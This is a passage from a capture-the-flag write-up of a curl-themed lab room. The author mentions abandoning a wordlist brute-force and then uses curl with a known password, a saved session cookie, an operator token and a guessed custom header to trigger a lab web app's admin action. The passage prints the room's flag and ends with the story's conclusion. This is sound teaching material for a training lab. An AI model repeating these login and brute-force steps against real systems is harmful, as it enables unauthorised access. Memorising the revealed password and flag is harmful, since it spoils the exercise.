That's still over 30 hours...It's just not feasible for a CTF and since we already tried the first 100 entries in the wordlist, then the first 1.000, and then finally the first 10.000 entries in rockyou.txt with these scripts, we will have to give up here and do a search on the solution.
All of the solutions we found were using different fuzzing tools, BUT NOT CURL...IN A ROOM DEDICATED TO CURL...well, stranger things have happened :)
Let's just move on with and assume that we brute-forced the password, which is: stellaris61.
Verify Login
Let's verify the found password:
┌──(user㉿kali)-[~/0place]
└─$ curl -A secretcomputer -X POST -d "username=admin&password=stellaris61" http://10.113.183.49/terminal.php?action=login -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 60632
* using HTTP/1.x
> POST /terminal.php?action=login HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Content-Length: 35
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 35 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=k1q13liujlsovintrio8mvf79o; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 124
< Content-Type: application/json
<
{
"status": "login_success",
"msg": "Session cookie set. You still need the operator token to close the wormhole."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
Great, it works, we are authenticated and provided with a cookie to keep track of our session. Let's save the cookies into login-cookies.txt:
┌──(user㉿kali)-[~/0place]
└─$ curl -c login-cookies.txt -A secretcomputer -X POST -d "username=admin&password=stellaris61" http://10.113.183.49/terminal.php?action=login -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 46642
* using HTTP/1.x
> POST /terminal.php?action=login HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Content-Length: 35
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 35 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
* Added cookie PHPSESSID="pvhfmc08901t7p82ekl2jksuf3" for domain 10.113.183.49, path /, expire 0
< Set-Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 124
< Content-Type: application/json
<
{
"status": "login_success",
"msg": "Session cookie set. You still need the operator token to close the wormhole."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$ cat login-cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.113.183.49 FALSE / FALSE 0 PHPSESSID pvhfmc08901t7p82ekl2jksuf3
┌──(user㉿kali)-[~/0place]
└─$
Close the Wormhole
With all the pieces in our hands, it's finally time to close the wormhole. But let's check if everything is in order by checking on the ?action=status endpoint with all the collected credentials:
┌──(user㉿kali)-[~/0place]
└─$ curl -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -A secretcomputer http://10.113.183.49/terminal.php?action=status -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 55168
* using HTTP/1.x
> GET /terminal.php?action=status HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 165
< Content-Type: application/json
<
{
"wormhole": "OPEN",
"reinforcements": "ENABLED",
"last_update": "[REDACTED-TIME]",
"is_admin": "true",
"operator_token_valid": true
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
Everythings seems to be ready, let's try to close it:
┌──(user㉿kali)-[~/0place]
└─$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 49868
* using HTTP/1.x
> POST /terminal.php?action=close HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 118
< Content-Type: application/json
<
{
"status": "denied",
"msg": "Missing admin session, operator token, or X-Force header. All three required."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
We are denied, but it mentions an X-Force Header besides the admin session and the operator token. Let's try to add one:
┌──(user㉿kali)-[~/0place]
└─$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -H "X-Force: dummy-data" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 52632
* using HTTP/1.x
> POST /terminal.php?action=close HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
> X-Force: dummy-data
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 118
< Content-Type: application/json
<
{
"status": "denied",
"msg": "Missing admin session, operator token, or X-Force header. All three required."
* Connection #0 to host 10.113.183.49:80 left intact
}
No success, let's try to use close, as in closing the gate:
┌──(user㉿kali)-[~/0place]
└─$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -H "X-Force: close" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 37438
* using HTTP/1.x
> POST /terminal.php?action=close HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
> X-Force: close
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 141
< Content-Type: application/json
<
{
"status": "wormhole_closed",
"flag": "THM{wormhole_closed_by_curl}",
"msg": "You closed the wormhole. Reinforcements halted."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
It worked and now the wormhole is closed! There is no reason to redact the flag here, given that it's not used anywhere.
STORY Conclusion
"McSkidy leads Wareville's townspeople in a final assault against King Malhare after his reinforcements are cut off. Sir Breachblocker III helps her reach the throne room by confronting Sir Carrotbane."
"McSkidy defeats the king by trapping him in a cage, ending his tyranny. King Malhare and Sir Carrotbane are imprisoned, while Sir Breachblocker III is pardoned and becomes the new king."